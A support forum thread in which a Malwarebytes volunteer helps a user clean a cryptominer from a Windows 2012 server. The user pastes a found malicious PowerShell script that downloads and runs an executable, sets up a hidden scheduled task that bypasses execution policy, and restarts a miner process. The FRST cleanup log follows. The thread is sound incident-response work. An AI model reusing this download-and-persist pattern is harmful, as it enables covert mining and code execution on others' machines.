Jump to content

Malware Bytes PowerShell Random Popups

Recommended Posts

Hi there...

We recently found traces of a malware application that seemed to be running on our Windows 2012 serve, including 2 CPU mining processes that were hogging the CPU.  

Since then we installed Malware Bytes and it found and removed one infection but we are now seeing Random PowerShell Popup Blocks.

I have attached the Farbar Recovery Scan Tool scan results here. 

I'd appreciate any help in removing this infection and possibly determining how it got there.




Link to post
Share on other sites

Hi interdev :)

My name is Aura and I'll be assisting you with your malware issue. Since we'll be working together, you can call me Aura or Yoan, which is my real name, it's up to you! Now that we've broke the ice, I'll just ask you a few things during the time we'll be working together to clean your system and get it back to an operational state.

  • As you'll notice, the logs we are asking for here are quite lenghty, so it's normal for me to not reply exactly after you post them. This is because I need some time to analyse them and then act accordingly. However, I'll always reply within 24 hours, 48 hours at most if something unexpected happens
  • As long as I'm assisting you on Malwarebytes Forums, in this thread, I'll ask you to not seek assistance anywhere else for any issue related to the system we are working on. If you have an issue, question, etc. about your computer, please ask it in this thread and I'll assist you
  • The same principle applies to any modifications you make to your system, I would like you to ask me before you do any manipulations that aren't in the instructions I posted. This is to ensure that we are operating in sync and I know exactly what's happening on your system
  • If you aren't sure about an instruction I'm giving you, ask me about it. This is to ensure that the clean-up process goes without any issue. I'll answer you and even give you more precise instructions/explanations if you need. There's no shame in asking questions here, better be safe than sorry!
  • If you don't reply to your thread within 3 days, I'll bump this thread to let you know that I'm waiting for you. If you don't reply after 5 days, it'll be closed. If you return after that period, you can send me a PM to get it unlocked and we'll continue where we left off;
  • Since malware can work quickly, we want to get rid of them as fast as we can, before they make unknown changes to the system. This being said, I would appreciate if you could reply to this thread within 24 hours of me posting. This way, we'll have a good clean-up rhythm and the chances of complications will be reduced
  • I'm against any form of pirated, illegal and counterfeit software and material. So if you have any installed on your system, I'll ask you to uninstall them right now. You don't have to tell me if you indeed had some or not, I'll give you the benefit of the doubt. Plus, this would be against Malwarebytes Forums's rules
  • In the end, you are the one asking for assistance here. So if you wish to go a different way during the clean-up, like format and reinstall Windows, you are free to do so. I would appreciate you to let me know about it first, and if you need, I can also assist you in the process
  • I would appreciate if you were to stay with me until the end, which means, until I declare your system clean. Just because your system isn't behaving weirdly anymore, or is running better than before, it doesn't mean that the infection is completely gone
    This being said, I have a full time job so sometimes it'll take longer for me to reply to you. Don't worry, you'll be my first priority as soon as I get home and have time to look at your thread

This being said, it's time to clean-up some malware, so let's get started, shall we? :)

Can you provide me the Malwarebytes log so I can see what was detected and removed?

Link to post
Share on other sites

Found a Poweshell Script file called: SchTask.pas1 that had the following in it:

$murl = ""
$moutput = "$env:TMP\yammsb.exe"
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($murl, $moutput)
cmd.exe /c $env:TMP\yammsb.exe
SchTasks.exe /Create /SC MINUTE /TN "UpdateGG" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\SchTask.ps1" /MO 6 /F

while ($true) {
    if(!(Get-Process Carbon -ErrorAction SilentlyContinue)) {
        echo "Not running"
        cmd.exe /C $env:TMP\run.bat
    } else {
        echo "Running"
    Start-Sleep 55

I have deleted this file for now.

Link to post
Share on other sites

Alright, and follow the instructions below.

iO3R662.pngFarbar Recovery Scan Tool (FRST) - Fix mode
Follow the instructions below to execute a fix on your system using FRST, and provide the log in your next reply.

  • Download the attached fixlist.txt file, and save it on your Desktop (or wherever your FRST.exe/FRST64.exe executable is located)
  • Right-click on the FRST executable and select Spcusrh.pngRun as Administrator (for Windows Vista, 7, 8, 8.1 and 10 users)
  • Click on the Fix button
  • On completion, a message will come up saying that the fix has been completed and it'll open a log in Notepad
  • Copy and paste its content in your next reply


Link to post
Share on other sites

Thank you! Results as follows. Server rebooted:

Fix result of Farbar Recovery Scan Tool (x64) Version: 13.01.2018 01
Ran by Administrator (13-01-2018 18:03:18) Run:1
Running from C:\Users\Administrator\Downloads
Loaded Profiles: Administrator (Available Profiles: Administrator)
Boot Mode: Normal

fixlist content:

Task: {4C724D1C-8A37-4E30-8D12-D12C09980F0D} - \UpdateGG -> No File <==== ATTENTION
Task: {EAAB7441-BD39-454D-8658-334EB37C91BA} - \Update  -> No File <==== ATTENTION


Processes closed successfully.
Error: (0) Failed to create a restore point.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{4C724D1C-8A37-4E30-8D12-D12C09980F0D} => could not remove key. ErrorCode1: 0x00000002
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{4C724D1C-8A37-4E30-8D12-D12C09980F0D}" => removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\UpdateGG => key not found
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{EAAB7441-BD39-454D-8658-334EB37C91BA} => key not found
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Update  => key not found

=========== EmptyTemp: ==========

BITS transfer queue => 8388608 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 3449263 B
Java, Flash, Steam htmlcache => 0 B
Windows/system/drivers => 15044604 B
Edge => 0 B
Chrome => 0 B
Firefox => 0 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 0 B
systemprofile32 => 0 B
LocalService => 0 B
NetworkService => 0 B
Administrator => 2194372 B

RecycleBin => 21454 B
EmptyTemp: => 27.8 MB temporary data Removed.


The system needed a reboot.

==== End of Fixlog 18:03:23 ====

Link to post
Share on other sites

Awesome! Nope, never seen that particuliar infection before (with the PowerShell code you provided). Though infections like these often hit multiple users at once, so I'll keep an eye open on the forums for it as well.

And no problem interdev, you're welcome!

Stay safe :)

Link to post
Share on other sites

Glad we could help.

If you need this topic reopened, please send a Private Message to any one of the moderating team members. Please include a link to this topic with your request.

This applies only to the originator of this thread.Other members who need assistance please start your own topic in a new thread.



Link to post
Share on other sites

This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
Back to top
  • Create New...

Important Information

This site uses cookies - We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.